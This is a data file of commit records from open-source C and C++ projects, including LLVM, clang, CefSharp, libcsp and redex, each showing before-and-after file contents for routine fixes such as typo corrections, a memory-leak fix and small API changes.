{"commit":"de1ecd4aee0442d68861da0e0ba2724d3880ed7c","old_file":"HLT\/PHOS\/AliHLTPHOSRcuCellEnergyData.h","new_file":"HLT\/PHOS\/AliHLTPHOSRcuCellEnergyData.h","old_contents":"","new_contents":"#ifndef ALIHLTPHOSRCUCELLENERGYDATA_H\n#define ALIHLTPHOSRCUCELLENERGYDATA_H\n\nstruct AliHLTPHOSRcuCellEnergyData\n{\n  AliHLTUInt8_t fRcuX;\n  AliHLTUInt8_t fRcuY;\n  AliHLTUInt8_t fModuleID;\n  \n  unsigned long cellEnergies[32][28][2];\n  \n};\n\n\n#endif\n","subject":"Structure to hold data abouth crystal\/cell energies corresponding to a single RCU block","message":"Structure to hold data abouth crystal\/cell energies corresponding to a single RCU block\n\n","lang":"C","license":"bsd-3-clause","repos":"shahor02\/AliRoot,miranov25\/AliRoot,mkrzewic\/AliRoot,coppedis\/AliRoot,jgrosseo\/AliRoot,mkrzewic\/AliRoot,shahor02\/AliRoot,sebaleh\/AliRoot,coppedis\/AliRoot,mkrzewic\/AliRoot,ecalvovi\/AliRoot,alisw\/AliRoot,jgrosseo\/AliRoot,jgrosseo\/AliRoot,sebaleh\/AliRoot,ecalvovi\/AliRoot,ALICEHLT\/AliRoot,shahor02\/AliRoot,shahor02\/AliRoot,coppedis\/AliRoot,ALICEHLT\/AliRoot,alisw\/AliRoot,alisw\/AliRoot,mkrzewic\/AliRoot,jgrosseo\/AliRoot,alisw\/AliRoot,coppedis\/AliRoot,jgrosseo\/AliRoot,ALICEHLT\/AliRoot,alisw\/AliRoot,sebaleh\/AliRoot,coppedis\/AliRoot,shahor02\/AliRoot,sebaleh\/AliRoot,mkrzewic\/AliRoot,ALICEHLT\/AliRoot,miranov25\/AliRoot,ecalvovi\/AliRoot,shahor02\/AliRoot,ecalvovi\/AliRoot,mkrzewic\/AliRoot,alisw\/AliRoot,ALICEHLT\/AliRoot,miranov25\/AliRoot,ecalvovi\/AliRoot,ecalvovi\/AliRoot,alisw\/AliRoot,mkrzewic\/AliRoot,jgrosseo\/AliRoot,miranov25\/AliRoot,sebaleh\/AliRoot,miranov25\/AliRoot,miranov25\/AliRoot,ALICEHLT\/AliRoot,coppedis\/AliRoot,ALICEHLT\/AliRoot,ecalvovi\/AliRoot,coppedis\/AliRoot,sebaleh\/AliRoot,miranov25\/AliRoot,miranov25\/AliRoot,shahor02\/AliRoot,jgrosseo\/AliRoot,sebaleh\/AliRoot,alisw\/AliRoot,coppedis\/AliRoot"}
{"commit":"5d697e859aa4711d270f5c3170449fcce1fbc412","old_file":"test\/Driver\/arm-fixed-r9.c","new_file":"test\/Driver\/arm-fixed-r9.c","old_contents":"\/\/ RUN: %clang -target arm-none-gnueeabi -ffixed-r9 -### %s 2> %t\n\/\/ RUN: FileCheck --check-prefix=CHECK-FIXED-R9 < %t %s\n\n\/\/ CHECK-FIXED-R9: \"-backend-option\" \"-arm-reserve-r9\"\n","new_contents":"\/\/ RUN: %clang -target arm-none-gnueabi -ffixed-r9 -### %s 2> %t\n\/\/ RUN: FileCheck --check-prefix=CHECK-FIXED-R9 < %t %s\n\n\/\/ CHECK-FIXED-R9: \"-backend-option\" \"-arm-reserve-r9\"\n","subject":"Fix typo in ARM reserved-r9 test case","message":"Fix typo in ARM reserved-r9 test case\n\nPatch by Charlie Turner.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@219569 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang"}
{"commit":"e45534d027c685561d6da233e3cf5e0c1dde726c","old_file":"include\/llvm\/CodeGen\/GCs.h","new_file":"include\/llvm\/CodeGen\/GCs.h","old_contents":"\/\/===-- GCs.h - Garbage collector linkage hacks ---------------------------===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file contains hack functions to force linking in the GC components.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_CODEGEN_GCS_H\n#define LLVM_CODEGEN_GCS_H\n\nnamespace llvm {\n  class GCStrategy;\n  class GCMetadataPrinter;\n  \n  \/\/\/ FIXME: Collector instances are not useful on their own. These no longer\n  \/\/\/        serve any purpose except to link in the plugins.\n  \n  \/\/\/ Creates an ocaml-compatible garbage collector.\n  void linkOcamlGC();\n  \n  \/\/\/ Creates an ocaml-compatible metadata printer.\n  void linkOcamlGCPrinter();\n\n  \/\/\/ Creates an erlang-compatible garbage collector.\n  void linkErlangGC();\n\n  \/\/\/ Creates an erlang-compatible metadata printer.\n  void linkErlangGCPrinter();\n  \n  \/\/\/ Creates a shadow stack garbage collector. This collector requires no code\n  \/\/\/ generator support.\n  void linkShadowStackGC();\n}\n\n#endif\n","new_contents":"\/\/===-- GCs.h - Garbage collector linkage hacks ---------------------------===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file contains hack functions to force linking in the GC components.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_CODEGEN_GCS_H\n#define LLVM_CODEGEN_GCS_H\n\nnamespace llvm {\n  class GCStrategy;\n  class GCMetadataPrinter;\n\n  \/\/\/ FIXME: Collector instances are not useful on their own. These no longer\n  \/\/\/        serve any purpose except to link in the plugins.\n\n  \/\/\/ Creates an ocaml-compatible garbage collector.\n  void linkOcamlGC();\n\n  \/\/\/ Creates an ocaml-compatible metadata printer.\n  void linkOcamlGCPrinter();\n\n  \/\/\/ Creates an erlang-compatible garbage collector.\n  void linkErlangGC();\n\n  \/\/\/ Creates an erlang-compatible metadata printer.\n  void linkErlangGCPrinter();\n\n  \/\/\/ Creates a shadow stack garbage collector. This collector requires no code\n  \/\/\/ generator support.\n  void linkShadowStackGC();\n}\n\n#endif\n","subject":"Test commit: Remove trailing whitespace.","message":"Test commit: Remove trailing whitespace.\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@203502 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"bsd-2-clause","repos":"chubbymaggie\/asap,llvm-mirror\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,apple\/swift-llvm,chubbymaggie\/asap,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,apple\/swift-llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,apple\/swift-llvm,apple\/swift-llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,apple\/swift-llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,dslab-epfl\/asap,llvm-mirror\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,dslab-epfl\/asap,chubbymaggie\/asap,dslab-epfl\/asap,llvm-mirror\/llvm,llvm-mirror\/llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm"}
{"commit":"19d03376c20ef7e98c2e4907004a40f8e658c10a","old_file":"source\/glbinding\/include\/glbinding\/glbinding.h","new_file":"source\/glbinding\/include\/glbinding\/glbinding.h","old_contents":"#pragma once\n\n#include <glbinding\/glbinding_api.h>\n#include <glbinding\/ContextId.h>\n\nnamespace glbinding {\n\nGLBINDING_API void initialize();\nGLBINDING_API void initialize(ContextId contextId, bool useContext = true, bool resolveFunctions = false);\n\nGLBINDING_API void resolveFunctions();\n\nGLBINDING_API void useCurrentContext();\nGLBINDING_API void useContext(ContextId contextId);\n\nGLBINDING_API void finalizeCurrentContext();\nGLBINDING_API void finalizeContext(ContextId contextId);\n\n} \/\/ namespace glbinding\n","new_contents":"#pragma once\n\n#include <glbinding\/glbinding_api.h>\n#include <glbinding\/ContextId.h>\n\nnamespace glbinding {\n\nGLBINDING_API void initialize();\nGLBINDING_API void initialize(ContextId contextId, bool useContext = true, bool resolveFunctions = true);\n\nGLBINDING_API void resolveFunctions();\n\nGLBINDING_API void useCurrentContext();\nGLBINDING_API void useContext(ContextId contextId);\n\nGLBINDING_API void finalizeCurrentContext();\nGLBINDING_API void finalizeContext(ContextId contextId);\n\n} \/\/ namespace glbinding\n","subject":"Change default parameter to true","message":"Change default parameter to true\n","lang":"C","license":"mit","repos":"mcleary\/glbinding,j-o\/glbinding,mcleary\/glbinding,hpi-r2d2\/glbinding,hpicgs\/glbinding,hpicgs\/glbinding,hpicgs\/glbinding,cginternals\/glbinding,mcleary\/glbinding,j-o\/glbinding,hpicgs\/glbinding,hpi-r2d2\/glbinding,hpi-r2d2\/glbinding,cginternals\/glbinding,hpi-r2d2\/glbinding,mcleary\/glbinding,j-o\/glbinding,j-o\/glbinding"}
{"commit":"4fddd802417ad903fe7dd590d7175d556c0697dd","old_file":"gfx\/size_io.h","new_file":"gfx\/size_io.h","old_contents":"\/\/ LAF Gfx Library\n\/\/ Copyright (C) 2019  Igara Studio S.A.\n\/\/\n\/\/ This file is released under the terms of the MIT license.\n\/\/ Read LICENSE.txt for more information.\n\n#ifndef GFX_SIZE_IO_H_INCLUDED\n#define GFX_SIZE_IO_H_INCLUDED\n#pragma once\n\n#include \"gfx\/size.h\"\n#include <iosfwd>\n\nnamespace gfx {\n\n  inline std::ostream& operator<<(std::ostream& os, const Size& size) {\n    return os << \"(\"\n              << size.x << \", \"\n              << size.y << \")\";\n  }\n\n  inline std::istream& operator>>(std::istream& in, Size& size) {\n    while (in && in.get() != '(')\n      ;\n\n    if (!in)\n      return in;\n\n    char chr;\n    in >> size.x >> chr\n       >> size.y;\n\n    return in;\n  }\n\n}\n\n#endif\n","new_contents":"\/\/ LAF Gfx Library\n\/\/ Copyright (C) 2019  Igara Studio S.A.\n\/\/\n\/\/ This file is released under the terms of the MIT license.\n\/\/ Read LICENSE.txt for more information.\n\n#ifndef GFX_SIZE_IO_H_INCLUDED\n#define GFX_SIZE_IO_H_INCLUDED\n#pragma once\n\n#include \"gfx\/size.h\"\n#include <iosfwd>\n\nnamespace gfx {\n\n  inline std::ostream& operator<<(std::ostream& os, const Size& size) {\n    return os << \"(\"\n              << size.w << \", \"\n              << size.h << \")\";\n  }\n\n  inline std::istream& operator>>(std::istream& in, Size& size) {\n    while (in && in.get() != '(')\n      ;\n\n    if (!in)\n      return in;\n\n    char chr;\n    in >> size.w >> chr\n       >> size.h;\n\n    return in;\n  }\n\n}\n\n#endif\n","subject":"Fix operator<<(ostream&) and operator>>(istream&) for gfx::Size","message":"Fix operator<<(ostream&) and operator>>(istream&) for gfx::Size\n","lang":"C","license":"mit","repos":"aseprite\/laf,aseprite\/laf"}
{"commit":"666d003deec427657491dcfef7c4871ed2c4eb66","old_file":"src\/blueprint.c","new_file":"src\/blueprint.c","old_contents":"#include \"blueprint.h\"\n\n#include <assert.h>\n#include <string.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <stdbool.h>\n#include <math.h>\n\n#include \"parson.h\"\n#include \"bstrlib.h\"\n\n\nvoid free_blueprint(struct blueprint *bp)\n{\n    if (bp == NULL)\n        return;\n\n    bdestroy(bp->name);\n    bdestroy(bp->blueprint_name);\n    bdestroy(bp->Name);\n    bdestroy(bp->game_version);\n\n    for (int i = 0; i < bp->num_sc; i++)\n        free_blueprint(&bp->SCs[i]);\n\n    free(bp->blocks);\n    free(bp);\n}\n","new_contents":"#include \"blueprint.h\"\n\n#include <assert.h>\n#include <string.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <stdbool.h>\n#include <math.h>\n\n#include \"parson.h\"\n#include \"bstrlib.h\"\n\n\nvoid free_blueprint(struct blueprint *bp)\n{\n    if (bp == NULL)\n        return;\n\n    bdestroy(bp->name);\n    bdestroy(bp->blueprint_name);\n    bdestroy(bp->Name);\n    bdestroy(bp->game_version);\n\n    for (int i = 0; i < bp->num_sc; i++)\n        free_blueprint(&bp->SCs[i]);\n\n    for (int i = 0; i < bp->total_block_count; i++)\n    {\n        if (bp->blocks[i].string_data == NULL)\n            continue;\n        bdestroy(bp->blocks[i].string_data);\n    }\n\n    free(bp->blocks);\n    free(bp);\n}\n","subject":"Remove yet another memory leak","message":"Remove yet another memory leak\n","lang":"C","license":"mit","repos":"Dean4Devil\/libblueprint,Dean4Devil\/libblueprint"}
{"commit":"4d1379897a62ac0598366561b69fe21d4d4bd091","old_file":"src\/goontools.c","new_file":"src\/goontools.c","old_contents":"#include \"goontools.h\"\n\nvoid usage(char* prog)\n{\n    fprintf(stderr, \"\\n\");\n    fprintf(stderr, \"Usage: %s <subcommand> <subcommand arguments>\\n\", prog);\n    fprintf(stderr, \"\\n\");\n    fprintf(stderr, \"subcommands:\\n\");\n    fprintf(stderr, \"    index      index file\\n\");\n    fprintf(stderr, \"    sort       sort file\\n\");\n    fprintf(stderr, \"    view       view\/slice file\\n\");\n    fprintf(stderr, \"    idxstat    print index information\\n\");\n    fprintf(stderr, \"\\n\");\n}\n\nint dispatch(int argc, char *argv[])\n{\n    char *subcommands[] = {\n        \"index\",\n        \"view\",\n        \"sort\",\n        \"idxstats\",\n        NULL \/\/ sentinel\n    };\n    Subcommand dispatch[] = {\n        &goonindex,\n        &goonview,\n        &goonsort,\n        &goonidxstat\n    };\n    char **s;\n\n    for (s = subcommands; *s != NULL; s += 1) {\n        if (strcmp(argv[1], *s) == 0) {\n            break;\n        }\n    }\n\n    if (*s == NULL) {\n        usage(argv[0]);\n        return -1;\n    }\n\n    return dispatch[s-subcommands](argc-1, argv+1);\n}\n\nint main(int argc, char *argv[])\n{\n    if (argc == 1) {\n        usage(argv[0]);\n        return EXIT_FAILURE;\n    }\n\n    if (dispatch(argc, argv) != 0) {\n        return EXIT_FAILURE;\n    }\n\n    return EXIT_SUCCESS;\n}\n","new_contents":"#include \"goontools.h\"\n\nvoid usage(char* prog)\n{\n    fprintf(stderr, \"\\n\");\n    fprintf(stderr, \"Usage: %s <subcommand> <subcommand arguments>\\n\", prog);\n    fprintf(stderr, \"\\n\");\n    fprintf(stderr, \"subcommands:\\n\");\n    fprintf(stderr, \"    index      index file\\n\");\n    fprintf(stderr, \"    sort       sort file\\n\");\n    fprintf(stderr, \"    view       view\/slice file\\n\");\n    fprintf(stderr, \"    idxstat    print index information\\n\");\n    fprintf(stderr, \"\\n\");\n}\n\nint dispatch(int argc, char *argv[])\n{\n    char *subcommands[] = {\n        \"index\",\n        \"view\",\n        \"sort\",\n        \"idxstat\",\n        NULL \/\/ sentinel\n    };\n    Subcommand dispatch[] = {\n        &goonindex,\n        &goonview,\n        &goonsort,\n        &goonidxstat\n    };\n    char **s;\n\n    for (s = subcommands; *s != NULL; s += 1) {\n        if (strcmp(argv[1], *s) == 0) {\n            break;\n        }\n    }\n\n    if (*s == NULL) {\n        usage(argv[0]);\n        return -1;\n    }\n\n    return dispatch[s-subcommands](argc-1, argv+1);\n}\n\nint main(int argc, char *argv[])\n{\n    if (argc == 1) {\n        usage(argv[0]);\n        return EXIT_FAILURE;\n    }\n\n    if (dispatch(argc, argv) != 0) {\n        return EXIT_FAILURE;\n    }\n\n    return EXIT_SUCCESS;\n}\n","subject":"Fix typo in `idxstat` subcommand","message":"Fix typo in `idxstat` subcommand\n","lang":"C","license":"mit","repos":"mhyfritz\/goontools,mhyfritz\/goontools,mhyfritz\/goontools"}
{"commit":"74fc900360426b3f0f620734f23cd47d879c73da","old_file":"kmail\/kmfoldertype.h","new_file":"kmail\/kmfoldertype.h","old_contents":"#ifndef KMFOLDERTYPE_H\n#define KMFOLDERTYPE_H\n\ntypedef enum\n{\n  KMFolderTypeMbox = 0,\n  KMFolderTypeMaildir,\n  KMFolderTypeCachedImap,\n  KMFolderTypeImap,\n  KMFolderTypeSearch\n} KMFolderType;\n\ntypedef enum\n{\n   KMStandardDir = 0,\n   KMImapDir,\n   KMSearchDir\n} KMFolderDirType;\n\n#endif \/\/ KMFOLDERTYPE_H\n","new_contents":"#ifndef KMFOLDERTYPE_H\n#define KMFOLDERTYPE_H\n\ntypedef enum\n{\n  KMFolderTypeMbox = 0,\n  KMFolderTypeMaildir,\n  KMFolderTypeCachedImap,\n  KMFolderTypeImap,\n  KMFolderTypeSearch,\n  KMFolderTypeUnknown\n} KMFolderType;\n\ntypedef enum\n{\n   KMStandardDir = 0,\n   KMImapDir,\n   KMSearchDir\n} KMFolderDirType;\n\n#endif \/\/ KMFOLDERTYPE_H\n","subject":"Add an unknown folder type","message":"Add an unknown folder type\n\nsvn path=\/trunk\/kdenetwork\/kmail\/; revision=197411\n","lang":"C","license":"lgpl-2.1","repos":"lefou\/kdepim-noakonadi,lefou\/kdepim-noakonadi,lefou\/kdepim-noakonadi,lefou\/kdepim-noakonadi,lefou\/kdepim-noakonadi,lefou\/kdepim-noakonadi"}
{"commit":"a9a7737f4f0120d49ef870a1aa5bf74e05dac1e8","old_file":"src\/arch\/posix\/csp_clock.c","new_file":"src\/arch\/posix\/csp_clock.c","old_contents":"\/*\nCubesat Space Protocol - A small network-layer protocol designed for Cubesats\nCopyright (C) 2012 Gomspace ApS (http:\/\/www.gomspace.com)\nCopyright (C) 2012 AAUSAT3 Project (http:\/\/aausat3.space.aau.dk)\n\nThis library is free software; you can redistribute it and\/or\nmodify it under the terms of the GNU Lesser General Public\nLicense as published by the Free Software Foundation; either\nversion 2.1 of the License, or (at your option) any later version.\n\nThis library is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\nLesser General Public License for more details.\n\nYou should have received a copy of the GNU Lesser General Public\nLicense along with this library; if not, write to the Free Software\nFoundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA\n*\/\n\n#include <csp\/arch\/csp_clock.h>\n\n#include <time.h>\n\nvoid clock_get_time(timestamp_t * timestamp) {\n\ttimestamp->tv_sec = time(0);\n}\n\nvoid clock_set_time(timestamp_t * timestamp) {\n\treturn;\n}\n","new_contents":"\/*\nCubesat Space Protocol - A small network-layer protocol designed for Cubesats\nCopyright (C) 2012 Gomspace ApS (http:\/\/www.gomspace.com)\nCopyright (C) 2012 AAUSAT3 Project (http:\/\/aausat3.space.aau.dk)\n\nThis library is free software; you can redistribute it and\/or\nmodify it under the terms of the GNU Lesser General Public\nLicense as published by the Free Software Foundation; either\nversion 2.1 of the License, or (at your option) any later version.\n\nThis library is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\nLesser General Public License for more details.\n\nYou should have received a copy of the GNU Lesser General Public\nLicense along with this library; if not, write to the Free Software\nFoundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA\n*\/\n\n#include <csp\/arch\/csp_clock.h>\n\n#include <time.h>\n\nvoid clock_get_time(csp_timestamp_t * timestamp) {\n\ttimestamp->tv_sec = time(0);\n}\n\nvoid clock_set_time(csp_timestamp_t * timestamp) {\n\treturn;\n}\n","subject":"Fix compile of posix clock after timestamp_t was renamed to csp_timestamp_t","message":"Fix compile of posix clock after timestamp_t was renamed to csp_timestamp_t\n","lang":"C","license":"apache-2.0","repos":"Psykar\/kubos,kubostech\/KubOS,libcsp\/libcsp,pacheco017\/libcsp,pacheco017\/libcsp,GomSpace\/libcsp,GomSpace\/libcsp,pacheco017\/libcsp,Psykar\/kubos,Psykar\/kubos,satlab\/libcsp,Psykar\/kubos,Psykar\/kubos,Psykar\/kubos,Psykar\/kubos,satlab\/libcsp,libcsp\/libcsp,GomSpace\/libcsp,satlab\/libcsp,kubostech\/KubOS,pacheco017\/libcsp"}
{"commit":"b693b103d46a00a88314a0fa0349ad85d26efd2d","old_file":"source\/gloperate\/include\/gloperate\/painter\/PipelineOutputCapability.h","new_file":"source\/gloperate\/include\/gloperate\/painter\/PipelineOutputCapability.h","old_contents":"#pragma once\n\n#include <gloperate\/gloperate_api.h>\n\n#include <gloperate\/painter\/AbstractOutputCapability.h>\n#include <gloperate\/pipeline\/AbstractPipeline.h>\n\n#include <string>\n#include <vector>\n\n\nnamespace gloperate\n{\n\nclass AbstractData;\ntemplate <typename T>\nclass Data;\n\n\/**\n*  @brief\n*    OutputCapability for pipelines\n*\n*\/\nclass GLOPERATE_API PipelineOutputCapability : public AbstractOutputCapability\n{\n\n\npublic:\n    \/**\n    *  @brief\n    *    Constructor\n    *\/\n    PipelineOutputCapability(gloperate::AbstractPipeline & pipeline);\n\n    \/**\n    *  @brief\n    *    Destructor\n    *\/\n    virtual ~PipelineOutputCapability();\n\n    virtual std::vector<gloperate::AbstractData*> allOutputs() const;\n\nprotected:\n    gloperate::AbstractPipeline & m_pipeline;\n};\n\n} \/\/ namespace gloperate\n","new_contents":"#pragma once\n\n#include <gloperate\/gloperate_api.h>\n\n#include <gloperate\/painter\/AbstractOutputCapability.h>\n#include <gloperate\/pipeline\/AbstractPipeline.h>\n\n#include <string>\n#include <vector>\n\n\nnamespace gloperate\n{\n\nclass AbstractData;\ntemplate <typename T>\nclass Data;\n\n\/**\n*  @brief\n*    OutputCapability for pipelines\n*\n*\/\nclass GLOPERATE_API PipelineOutputCapability : public AbstractOutputCapability\n{\n\n\npublic:\n    \/**\n    *  @brief\n    *    Constructor\n    *\/\n    PipelineOutputCapability(gloperate::AbstractPipeline & pipeline);\n\n    \/**\n    *  @brief\n    *    Destructor\n    *\/\n    virtual ~PipelineOutputCapability();\n\n    virtual std::vector<gloperate::AbstractData*> allOutputs() const override;\n\nprotected:\n    gloperate::AbstractPipeline & m_pipeline;\n};\n\n} \/\/ namespace gloperate\n","subject":"Add override to overridden method","message":"Add override to overridden method\n","lang":"C","license":"mit","repos":"lanice\/gloperate,hpicgs\/gloperate,j-o\/gloperate,lanice\/gloperate,cginternals\/gloperate,lanice\/gloperate,Beta-Alf\/gloperate,p-otto\/gloperate,hpicgs\/gloperate,p-otto\/gloperate,cginternals\/gloperate,p-otto\/gloperate,lanice\/gloperate,Beta-Alf\/gloperate,Beta-Alf\/gloperate,p-otto\/gloperate,Beta-Alf\/gloperate,hpicgs\/gloperate,lanice\/gloperate,j-o\/gloperate,hpi-r2d2\/gloperate,cginternals\/gloperate,j-o\/gloperate,cginternals\/gloperate,p-otto\/gloperate,hpicgs\/gloperate,hpi-r2d2\/gloperate,j-o\/gloperate,hpicgs\/gloperate,Beta-Alf\/gloperate"}
{"commit":"2fcf5b345b9b2b37fe9d41434c9df4ebc8c9e3f2","old_file":"CefSharp.Core\/Internals\/CefCallbackWrapper.h","new_file":"CefSharp.Core\/Internals\/CefCallbackWrapper.h","old_contents":"\/\/ Copyright  2010-2015 The CefSharp Authors. All rights reserved.\n\/\/\n\/\/ Use of this source code is governed by a BSD-style license that can be found in the LICENSE file.\n\n#pragma once\n\n#include \"Stdafx.h\"\n\n#include \"include\\cef_callback.h\"\n\nnamespace CefSharp\n{\n    public ref class CefCallbackWrapper : public ICallback\n    {\n    private:\n        MCefRefPtr<CefCallback> _callback;\n\n    public:\n        CefCallbackWrapper(CefRefPtr<CefCallback> &callback) : _callback(callback)\n        {\n            \n        }\n\n        !CefCallbackWrapper()\n        {\n            _callback = NULL;\n        }\n\n        ~CefCallbackWrapper()\n        {\n            this->!CefCallbackWrapper();\n        }\n\n        virtual void Cancel()\n        {\n            if (this == nullptr)\n            {\n                return;\n            }\n\n            _callback->Cancel();\n\n            delete this;\n        }\n\n        virtual void Continue()\n        {\n            if (this == nullptr)\n            {\n                return;\n            }\n\n            _callback->Continue();\n\n            delete this;\n        }\n    };\n}","new_contents":"\/\/ Copyright  2010-2015 The CefSharp Authors. All rights reserved.\n\/\/\n\/\/ Use of this source code is governed by a BSD-style license that can be found in the LICENSE file.\n\n#pragma once\n\n#include \"Stdafx.h\"\n\n#include \"include\\cef_callback.h\"\n\nnamespace CefSharp\n{\n    public ref class CefCallbackWrapper : public ICallback\n    {\n    private:\n        MCefRefPtr<CefCallback> _callback;\n\n    public:\n        CefCallbackWrapper(CefRefPtr<CefCallback> &callback) : _callback(callback)\n        {\n            \n        }\n\n        !CefCallbackWrapper()\n        {\n            _callback = NULL;\n        }\n\n        ~CefCallbackWrapper()\n        {\n            this->!CefCallbackWrapper();\n        }\n\n        virtual void Cancel()\n        {\n            if (_callback.get() == nullptr)\n            {\n                return;\n            }\n\n            _callback->Cancel();\n\n            delete this;\n        }\n\n        virtual void Continue()\n        {\n            if (_callback.get() == nullptr)\n            {\n                return;\n            }\n\n            _callback->Continue();\n\n            delete this;\n        }\n    };\n}","subject":"Use MCefRefPtr::get() to check for null reference","message":"Use MCefRefPtr::get() to check for null reference\n","lang":"C","license":"bsd-3-clause","repos":"haozhouxu\/CefSharp,zhangjingpu\/CefSharp,VioletLife\/CefSharp,gregmartinhtc\/CefSharp,Livit\/CefSharp,wangzheng888520\/CefSharp,joshvera\/CefSharp,yoder\/CefSharp,gregmartinhtc\/CefSharp,AJDev77\/CefSharp,haozhouxu\/CefSharp,zhangjingpu\/CefSharp,twxstar\/CefSharp,windygu\/CefSharp,Haraguroicha\/CefSharp,AJDev77\/CefSharp,yoder\/CefSharp,zhangjingpu\/CefSharp,ITGlobal\/CefSharp,haozhouxu\/CefSharp,ruisebastiao\/CefSharp,twxstar\/CefSharp,dga711\/CefSharp,battewr\/CefSharp,zhangjingpu\/CefSharp,battewr\/CefSharp,battewr\/CefSharp,rlmcneary2\/CefSharp,ruisebastiao\/CefSharp,ruisebastiao\/CefSharp,AJDev77\/CefSharp,Livit\/CefSharp,VioletLife\/CefSharp,Livit\/CefSharp,illfang\/CefSharp,dga711\/CefSharp,Haraguroicha\/CefSharp,wangzheng888520\/CefSharp,joshvera\/CefSharp,joshvera\/CefSharp,rlmcneary2\/CefSharp,jamespearce2006\/CefSharp,haozhouxu\/CefSharp,twxstar\/CefSharp,illfang\/CefSharp,dga711\/CefSharp,wangzheng888520\/CefSharp,ruisebastiao\/CefSharp,jamespearce2006\/CefSharp,windygu\/CefSharp,gregmartinhtc\/CefSharp,VioletLife\/CefSharp,Haraguroicha\/CefSharp,jamespearce2006\/CefSharp,wangzheng888520\/CefSharp,yoder\/CefSharp,jamespearce2006\/CefSharp,NumbersInternational\/CefSharp,rlmcneary2\/CefSharp,illfang\/CefSharp,joshvera\/CefSharp,Haraguroicha\/CefSharp,jamespearce2006\/CefSharp,NumbersInternational\/CefSharp,windygu\/CefSharp,twxstar\/CefSharp,VioletLife\/CefSharp,gregmartinhtc\/CefSharp,NumbersInternational\/CefSharp,dga711\/CefSharp,ITGlobal\/CefSharp,ITGlobal\/CefSharp,AJDev77\/CefSharp,yoder\/CefSharp,ITGlobal\/CefSharp,rlmcneary2\/CefSharp,windygu\/CefSharp,Haraguroicha\/CefSharp,illfang\/CefSharp,NumbersInternational\/CefSharp,Livit\/CefSharp,battewr\/CefSharp"}
{"commit":"31ef4104b26541707de078fd748f0cd80577e590","old_file":"libredex\/Util.h","new_file":"libredex\/Util.h","old_contents":"\/**\n * Copyright (c) 2016-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\/\n\n#pragma once\n\n#include <algorithm>\n#include <memory>\n#include <utility>\n\nnamespace std {\n\n\n#if __cplusplus<201402L\n\/\/ simple implementation of make_unique since C++11 doesn't have it available\n\/\/ note that it doesn't work properly if T is an array type\ntemplate <typename T, typename... Args>\nstd::unique_ptr<T> make_unique(Args... args) {\n  return std::unique_ptr<T>(new T(std::forward<Args>(args)...));\n}\n#endif\n}\n\n\n\/**\n * Insert into the proper location in a sorted container.\n *\/\ntemplate <class Container, class T, class Compare>\nvoid insert_sorted(Container& c, const T& e, Compare comp) {\n  c.insert(std::lower_bound(c.begin(), c.end(), e, comp), e);\n}\n","new_contents":"\/**\n * Copyright (c) 2016-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\/\n\n#pragma once\n\n#include <algorithm>\n#include <memory>\n#include <utility>\n\nnamespace std {\n\n#if __cplusplus<201300L\n\/\/ simple implementation of make_unique since C++11 doesn't have it available\n\/\/ note that it doesn't work properly if T is an array type\ntemplate <typename T, typename... Args>\nstd::unique_ptr<T> make_unique(Args... args) {\n  return std::unique_ptr<T>(new T(std::forward<Args>(args)...));\n}\n#endif\n}\n\n\n\/**\n * Insert into the proper location in a sorted container.\n *\/\ntemplate <class Container, class T, class Compare>\nvoid insert_sorted(Container& c, const T& e, Compare comp) {\n  c.insert(std::lower_bound(c.begin(), c.end(), e, comp), e);\n}\n","subject":"Fix the `__cplusplus` gating for std::make_unique","message":"Fix the `__cplusplus` gating for std::make_unique\n\nSummary: Once we upgrade to gcc 4.9 and have `std::make_unique` redex chokes. Properly gate the definition of `std::make_unique` to the right 